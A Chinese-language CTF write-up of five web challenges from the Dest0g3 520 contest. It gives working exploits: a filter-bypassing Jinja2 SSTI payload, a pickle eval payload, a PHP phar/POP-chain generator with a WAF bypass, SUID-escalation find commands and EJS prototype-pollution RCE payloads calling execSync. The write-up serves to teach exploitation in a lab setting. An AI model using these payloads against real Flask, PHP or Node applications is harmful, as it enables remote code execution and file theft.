2022Dest0g3 520迎新赛web复现【EasySSTI-NodeSoEasy】


2022Dest0g3 520迎新赛web复现【EasySSTI-NodeSoEasy】

EasySSTI

打开题目环境,发现登陆框,尝试输入登陆,发现登陆成功,且输入的用户名显示在网页,尝试SSTI注入,发现测试成功。


写脚本尝试注入,发现'被ban,发现set并没有被waf,尝试利用set进行构造。
SSTI的绕过可以参考以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用以及官方文档
最后的脚本为

import requests

url="http://6037b12e-d2ae-4c82-9843-e5718ef5c6c2.node4.buuoj.cn:81/login"
payload="{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set three = (zero-one-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set seven = (zero-one-one-five)|abs %}{% set nine = (zero-seven-one-one)|abs %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc=bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set space = bfhc%((three~two)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}"
#"{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set three = (zero-one-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set seven = (zero-one-one-five)|abs %}{% set nine = (zero-seven-one-one)|abs %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc=bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set space = bfhc%((three~two)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}"
#{% set zero = (self|int) %}
#{% set one = (zero**zero)|int %}
#{% set two = (zero-one-one)|abs %}
#{% set three = (zero-one-one-one)|abs %}
#{% set four = (two*two)|int %}
#{% set five = (two*two*two)-one-one-one %}
#{% set seven = (zero-one-one-five)|abs %}
#{% set nine = (zero-seven-one-one)|abs %}
#{% set point = self|float|string|min %}
#{% set c = dict(c=aa)|reverse|first %}
#{% set bfh = self|string|urlencode|first %}
#{% set bfhc=bfh~c %}
#{% set slas = bfhc%((four~seven)|int) %}
#{% set yin = bfhc%((three~nine)|int) %}
#{% set xhx = bfhc%((nine~five)|int) %}
#{% set right = bfhc%((four~one)|int) %}
#{% set left = bfhc%((four~zero)|int) %}
#{% set space = bfhc%((three~two)|int) %}
#{% set but = dict(buil=aa,tins=dd)|join %}
#{% set imp = dict(imp=aa,ort=dd)|join %}
#{% set pon = dict(po=aa,pen=dd)|join %}
#{% set so = dict(o=aa,s=dd)|join %}
#{% set ca = dict(ca=aa,t=dd)|join %}
#{% set flg = dict(fl=aa,ag=dd)|join %}
#{% set ev = dict(ev=aa,al=dd)|join %}
#{% set red = dict(re=aa,ad=dd)|join %}
#{% set bul = xhx~xhx~but~xhx~xhx %}
#{% set ini = dict(ini=aa,t=bb)|join %}
#{% set glo = dict(glo=aa,bals=bb)|join %}
#{% set itm = dict(ite=aa,ms=bb)|join %}
#{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
#{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
payload=payload.replace(' ', '\n')
data={"username":payload,"password":"123456"}
r=requests.post(url=url, data=data)
print(r.text)

得到flag:Dest0g3{03923b77-b3af-4b62-8612-e12720e02cc2}

middle

import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def show():
    base_dir = os.path.dirname(__file__)
    resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
    resp.headers["Content-type"] = "text/plain;charset=UTF-8"
    return resp

@app.route('/home', methods=['POST', 'GET'])
def home():
    data=request.form['data']
    User = restricted_loads(base64.b64decode(data))
    return str(User)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=5000)
import os
def backdoor(cmd):
    # 这里我也改了一下
    if isinstance(cmd,list) :
        s=''.join(cmd)
        print("!!!!!!!!!!")
        s=eval(s)
        return s
    else:
        print("??????")

注意到pickle,猜测是pickle反序列化
相关知识点可参考pickle反序列化初探
这里首先可以看到,它利用了Python官方手册中给的方式对反序列化的内容进行了一个过滤
限定了只能反序列化config类,而且调用的方法或属性中不能含有__

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

后面部分的具体原理没有搞太懂,等完了填坑吧。
直接用WP里的payload,利用pker生成opcode代码

config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('cat /flag.txt').read()"])
return

运行得到输出

b"cconfig\nbackdoor\np0\n0g0\n((S'__import__(\\'os\\').popen(\\'cat /flag.txt\\').read()'\nltR."

base64加密得到

Y2NvbmZpZwpiYWNrZG9vcgpwMAowZzAKKChTJ19faW1wb3J0X18oXCdvc1wnKS5wb3BlbihcJ2NhdCAvZmxhZy50eHRcJykucmVhZCgpJwpsdFIu

post到data参数中,可以得到flag:Dest0g3{458615a7-6c74-4dba-8fe2-71168840caf2}

PharPOP

 <?php
highlight_file(__FILE__);

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

class air{
    public $p;

    public function __set($p, $value) {
        $p = $this->p->act;
        echo new $p($value);
    }
}

class tree{
    public $name;
    public $act;

    public function __destruct() {
        return $this->name();
    }
    public function __call($name, $arg){
        $arg[1] =$this->name->$name;

    }
}

class apple {
    public $xxx;
    public $flag;
    public function __get($flag)
    {
        $this->xxx->$flag = $this->flag;
    }
}

class D {
    public $start;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->start == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".jpg";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->start == 'r') {
            waf($data);
            $f = file_get_contents($data);
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

class banana {
    public function __get($name){
        return $this->$name;
    }
}
// flag in /
if(strlen($_POST[1]) < 55) {
    $a = unserialize($_POST[1]);
}
else{
    echo "str too long";
}

throw new Error("start");
?> 
#__set():方法的作用是为私有成员属性设置值,这个方法同样不用手动调用,是在设置私有属性值得时候自动调用的
#__destruct():在到某个对象的所有引⽤都被删除或者当对象被显式销毁时执⾏
#__call():着调用一个对象中不存在或被权限控制中的方法,__call 方法将会被自动调用。
#__get():当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数

注意到对传入数据进行waf,可以利用gzip压缩phar绕过waf函数过滤。

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

最终的pop链为tree:__destruct -> tree:__call -> apple:__get -> air:__set,将链子初步写好。
链子末端是个new一个类,打原生类就行,用glob伪协议配合FilesystemIterator类读flag文件名,然后SplFileObject类读文件。

<?php
class air{
    public $p;
}
class tree{
    public $name;
    public $act;
}
class apple {
    public $xxx;
    public $flag;
}
#tree:__destruct -> tree:__call -> apple:__get -> air:__set -> tree:act
$tree1=new tree();
$tree2=new tree();
$apple=new apple();
$air=new air();

$tree2->act='SplFileObject';
$air->p=$tree2;
$apple->xxx=$air;
$tree->name=$apple;

echo serialize($tree1);
?>

然后是生成phar文件,是一个相对固定的内容,有板子

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();

生成phar用的最终exp

<?php
class air{
    public $p;
}
class tree{
    public $name;
    public $act;
}
class apple {
    public $xxx;
    public $flag;
}
#tree:__destruct -> tree:__call -> apple:__get -> air:__set -> tree:act
$tree1=new tree();
$tree2=new tree();
$apple=new apple();
$air=new air();

$tree2->act='SplFileObject';
$air->p=$tree2;
$apple->xxx=$air;
$tree->name=$apple;

echo serialize($tree1);

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($tree); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();
?>

注意想要生成phar文件,一定要先在php.ini中将phar.readonly改为off,同时还要去掉前面的;(没去分号卡住好长时间)
然后是想办法利用PHP的GC机制绕过throw new Error("start");触发最开始的__destruct。将phar最后的}去掉来进行绕过。
传值以及生成的phar文件都需要改。

origin:
1:
O:4:"tree":2:{s:4:"name";O:5:"apple":2:{s:3:"xxx";O:3:"air":1:{s:1:"p";O:4:"tree":2:{s:4:"name";N;s:3:"act";s:18:"FilesystemIterator";}}s:4:"flag";s:11:"glob:///*f*";}s:3:"act";N;}
2:
O:4:"tree":2:{s:4:"name";O:5:"apple":2:{s:3:"xxx";O:3:"air":1:{s:1:"p";O:4:"tree":2:{s:4:"name";N;s:3:"act";s:13:"SplFileObject";}}s:4:"flag";s:8:"/fflaggg";}s:3:"act";N;}
change:
1:
a:2:{i:0;O:4:"tree":2:{s:4:"name";O:5:"apple":2:{s:3:"xxx";O:3:"air":1:{s:1:"p";O:4:"tree":2:{s:4:"name";N;s:3:"act";s:18:"FilesystemIterator";}}s:4:"flag";s:11:"glob:///*f*";}s:3:"act";N;}i:0;i:0;}
2:
a:2:{i:0;O:4:"tree":2:{s:4:"name";O:5:"apple":2:{s:3:"xxx";O:3:"air":1:{s:1:"p";O:4:"tree":2:{s:4:"name";N;s:3:"act";s:13:"SplFileObject";}}s:4:"flag";s:8:"/fflaggg";}s:3:"act";N;}i:0;i:0;}

控制r和w的post值

O:1:"D":1:{s:5:"start";s:1:"w";}
O:1:"D":1:{s:5:"start";s:1:"r";}
a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:0;i:0;}
a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"r";}i:0;i:0;}

我们需要先写入再读取。
写个exp

import requests
import gzip
from hashlib import sha1
url='http://130f177f-0ef5-4dfa-a37e-4e739a0f62e2.node4.buuoj.cn:81/'
def sign(name):
    f = open(name, 'rb').read() # 修改内容后的phar文件
    s = f[:-28] # 获取要签名的数据
    h = f[-8:] # 获取签名类型以及GBMB标识
    newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
    open('signed.phar', 'wb').write(newf) # 写入新文件
def compress(name):
    with open(name,'rb') as f1:
        content = f1.read()
        f = gzip.open('signed.phar.gz', 'wb')
        f.write(content)
        f.close()
def write(name):
    #O:1:"D":1:{s:5:"start";s:1:"w";}
    r=requests.post(url,data={'0': open(name, 'rb').read(),'1':'a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:0;i:0;}'})
    print(r.text)
def read(name):
    #O:1:"D":1:{s:5:"start";s:1:"r";}
    r=requests.post(url,data={'0':'phar://'+name,'1':'a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"r";}i:0;i:0;}'})
    print(r.text)
def make():
    sign('phar2.phar')
    compress('signed.phar')
    write('signed.phar.gz')
#make()
#/tmp/ed6c14fc4040cead84ef452e38733fde.jpg
#fflaggg
#/tmp/be6b937efc31e88f2f1aec546bf42636.jpg
#Dest0g3{a9e928e2-77ec-42b4-9028-6d2653885a19}
read('/tmp/be6b937efc31e88f2f1aec546bf42636.jpg')

得到flag:Dest0g3{a9e928e2-77ec-42b4-9028-6d2653885a19}

ezip

提示查看图片,查看图片源代码,发现

Oh you find key:dXBsb2FkLnBocDoKPD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwppbmNsdWRlKCJ6aXAucGhwIik7CmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7CiAgICBpZihzdHJzdHIoJF9GSUxFU1snZmlsZSddWyduYW1lJ10sIi4uIil8fHN0cnN0cigkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSwiLyIpKXsKICAgICAgICBlY2hvICJoYWNrZXIhISI7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmKHBhdGhpbmZvKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddLCBQQVRISU5GT19FWFRFTlNJT04pIT0iemlwIil7CiAgICAgICAgZWNobyAib25seSB6aXAhISI7CiAgICAgICAgZXhpdDsKICAgIH0KICAgICRNeXppcCA9IG5ldyB6aXAoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pOwogICAgbWtkaXIoJE15emlwLT5wYXRoKTsKICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICcuLycuJE15emlwLT5wYXRoLicvJyAuICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKICAgIGVjaG8gIlRyeSB0byB1bnppcCB5b3VyIHppcCB0byAvIi4kTXl6aXAtPnBhdGguIjxicj4iOwogICAgaWYoJE15emlwLT51bnppcCgpKXtlY2hvICJTdWNjZXNzIjt9ZWxzZXtlY2hvICJmYWlsZWQiO30KfQoKemlwLnBocDoKPD9waHAKY2xhc3MgemlwCnsKICAgIHB1YmxpYyAkemlwX25hbWU7CiAgICBwdWJsaWMgJHBhdGg7CiAgICBwdWJsaWMgJHppcF9tYW5hZ2VyOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkemlwX25hbWUpewogICAgICAgICR0aGlzLT56aXBfbWFuYWdlciA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgJHRoaXMtPnBhdGggPSAkdGhpcy0+Z2VuX3BhdGgoKTsKICAgICAgICAkdGhpcy0+emlwX25hbWUgPSAkemlwX25hbWU7CiAgICB9CiAgICBwdWJsaWMgZnVuY3Rpb24gZ2VuX3BhdGgoKXsKICAgICAgICAkY2hhcnM9ImFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5IjsKICAgICAgICAkbmV3Y2hhcnM9c3RyX3NwbGl0KCRjaGFycyk7CiAgICAgICAgc2h1ZmZsZSgkbmV3Y2hhcnMpOwogICAgICAgICRjaGFyc19rZXk9YXJyYXlfcmFuZCgkbmV3Y2hhcnMsMTUpOwogICAgICAgICRmbnN0ciA9ICIiOwogICAgICAgIGZvcigkaT0wOyRpPDE1OyRpKyspewogICAgICAgICAgICAkZm5zdHIuPSRuZXdjaGFyc1skY2hhcnNfa2V5WyRpXV07CiAgICAgICAgfQogICAgICAgIHJldHVybiBtZDUoJGZuc3RyLnRpbWUoKS5taWNyb3RpbWUoKSoxMDAwMDApOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBkZWxkaXIoJGRpcikgewogICAgICAgIC8v5YWI5Yig6Zmk55uu5b2V5LiL55qE5paH5Lu277yaCiAgICAgICAgJGRoID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKICAgICAgICAgICAgaWYoJGZpbGUgIT0gIi4iICYmICRmaWxlIT0iLi4iKSB7CiAgICAgICAgICAgICAgICAkZnVsbHBhdGggPSAkZGlyLiIvIi4kZmlsZTsKICAgICAgICAgICAgICAgIGlmKCFpc19kaXIoJGZ1bGxwYXRoKSkgewogICAgICAgICAgICAgICAgICAgIHVubGluaygkZnVsbHBhdGgpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZGVsZGlyKCRmdWxscGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgIH0KICAgIGZ1bmN0aW9uIGRpcl9saXN0KCRkaXJlY3RvcnkpCiAgICB7CiAgICAgICAgJGFycmF5ID0gW107CgogICAgICAgICRkaXIgPSBkaXIoJGRpcmVjdG9yeSk7CiAgICAgICAgd2hpbGUgKCRmaWxlID0gJGRpci0+cmVhZCgpKSB7CiAgICAgICAgICAgIGlmICgkZmlsZSAhPT0gJy4nICYmICRmaWxlICE9PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAkYXJyYXlbXSA9ICRmaWxlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYXJyYXk7CiAgICB9CiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoKQogICAgewogICAgICAgICRmdWxscGF0aCA9ICIvdmFyL3d3dy9odG1sLyIuJHRoaXMtPnBhdGguIi8iLiR0aGlzLT56aXBfbmFtZTsKICAgICAgICAkd2hpdGVfbGlzdCA9IFsnanBnJywncG5nJywnZ2lmJywnYm1wJ107CiAgICAgICAgJHRoaXMtPnppcF9tYW5hZ2VyLT5vcGVuKCRmdWxscGF0aCk7CiAgICAgICAgZm9yICgkaSA9IDA7JGkgPCAkdGhpcy0+emlwX21hbmFnZXItPmNvdW50KCk7JGkgKyspIHsKICAgICAgICAgICAgaWYgKHN0cnN0cigkdGhpcy0+emlwX21hbmFnZXItPmdldE5hbWVJbmRleCgkaSksIi4uLyIpKXsKICAgICAgICAgICAgICAgIGVjaG8gInlvdSBiYWQgYmFkIjsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZighJHRoaXMtPnppcF9tYW5hZ2VyLT5leHRyYWN0VG8oJHRoaXMtPnBhdGgpKXsKICAgICAgICAgICAgZWNobyAiVW56aXAgdG8gLyIuJHRoaXMtPnBhdGguIi8gZmFpbGVkIjsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICAgICAgQHVubGluaygkZnVsbHBhdGgpOwogICAgICAgICRmaWxlX2xpc3QgPSAkdGhpcy0+ZGlyX2xpc3QoIi92YXIvd3d3L2h0bWwvIi4kdGhpcy0+cGF0aC4iLyIpOwogICAgICAgIGZvcigkaT0wOyRpPHNpemVvZigkZmlsZV9saXN0KTskaSsrKXsKICAgICAgICAgICAgaWYoaXNfZGlyKCR0aGlzLT5wYXRoLiIvIi4kZmlsZV9saXN0WyRpXSkpewogICAgICAgICAgICAgICAgZWNobyAiZGlyPyBJIGRlbGV0ZWQgYWxsIHRoaW5ncyBpbiBpdCIuIjxicj4iO0AkdGhpcy0+ZGVsZGlyKCIvdmFyL3d3dy9odG1sLyIuJHRoaXMtPnBhdGguIi8iLiRmaWxlX2xpc3RbJGldKTtAcm1kaXIoIi92YXIvd3d3L2h0bWwvIi4kdGhpcy0+cGF0aC4iLyIuJGZpbGVfbGlzdFskaV0pOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICBpZighaW5fYXJyYXkocGF0aGluZm8oJGZpbGVfbGlzdFskaV0sIFBBVEhJTkZPX0VYVEVOU0lPTiksJHdoaXRlX2xpc3QpKSB7ZWNobyAib25seSBpbWFnZSEhISBJIGRlbGV0ZWQgaXQgZm9yIHlvdSIuIjxicj4iO0B1bmxpbmsoIi92YXIvd3d3L2h0bWwvIi4kdGhpcy0+cGF0aC4iLyIuJGZpbGVfbGlzdFskaV0pO30KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKCiAgICB9CgoKfQo=

base64解码得到

upload.php:
<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
    if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
        echo "hacker!!";
        exit;
    }
    if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
        echo "only zip!!";
        exit;
    }
    $Myzip = new zip($_FILES['file']['name']);
    mkdir($Myzip->path);
    move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
    echo "Try to unzip your zip to /".$Myzip->path."<br>";
    if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}

zip.php:
<?php
class zip
{
    public $zip_name;
    public $path;
    public $zip_manager;
    public function __construct($zip_name){
        $this->zip_manager = new ZipArchive();
        $this->path = $this->gen_path();
        $this->zip_name = $zip_name;
    }
    public function gen_path(){
        $chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $newchars=str_split($chars);
        shuffle($newchars);
        $chars_key=array_rand($newchars,15);
        $fnstr = "";
        for($i=0;$i<15;$i++){
            $fnstr.=$newchars[$chars_key[$i]];
        }
        return md5($fnstr.time().microtime()*100000);
    }

    public function deldir($dir) {
        //先删除目录下的文件:
        $dh = opendir($dir);
        while ($file = readdir($dh)) {
            if($file != "." && $file!="..") {
                $fullpath = $dir."/".$file;
                if(!is_dir($fullpath)) {
                    unlink($fullpath);
                } else {
                    $this->deldir($fullpath);
                }
            }
        }
        closedir($dh);
    }
    function dir_list($directory)
    {
        $array = [];
        $dir = dir($directory);
        while ($file = $dir->read()) {
            if ($file !== '.' && $file !== '..') {
                $array[] = $file;
            }
        }
        return $array;
    }
    public function unzip()
    {
        $fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
        $white_list = ['jpg','png','gif','bmp'];
        $this->zip_manager->open($fullpath);
        for ($i = 0;$i < $this->zip_manager->count();$i ++) {
            if (strstr($this->zip_manager->getNameIndex($i),"../")){
                echo "you bad bad";
                return false;
            }
        }
        if(!$this->zip_manager->extractTo($this->path)){
            echo "Unzip to /".$this->path."/ failed";
            exit;
        }
        @unlink($fullpath);
        $file_list = $this->dir_list("/var/www/html/".$this->path."/");
        for($i=0;$i<sizeof($file_list);$i++){
            if(is_dir($this->path."/".$file_list[$i])){
                echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
            }
            else{
                if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
            }
        }
        return true;
    }
}

大致审计之后,发现可以用p神之前发的漏洞,将压缩包中的文件名中加入/可以使压缩包

上传更改的压缩包,发现失败。

用蚁剑连接,找到flag,点进去却没有flag,考虑是权限问题,尝试用suid提权。

发现nl可用,用nl读取flag

这部分参考https://blog.csdn.net/weixin_43610673/article/details/125038199

find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

得到flag:Dest0g3{f5bdea16-8395-434d-8df9-781c2e983b15}

NodeSoEasy

下载附件得到源码。

const express = require('express')
const bodyParser = require('body-parser')
const app = express()
const port = 5000

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.set('view engine', 'ejs');

const merge= (target, source) => {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

app.post('/', function (req, res) {
    var target = {}
    var source = JSON.parse(JSON.stringify(req.body))
    merge(target, source)
    res.render('index');
})

app.listen(port, () => {
    console.log(`listening on port ${port}`)
})

看出是ejs rce。
先看原链型污染的内容深入理解 JavaScript Prototype 污染攻击
node.js原型链污染漏洞
一些RCE的payload关于nodejs的ejs和jade模板引擎的原型链污染挖掘

{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

POST传值,注意要加一行Content-type:application/json。
得到flag:Dest0g3{a6082f01-c7e2-4ecc-a105-c06c5d5ef899}


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !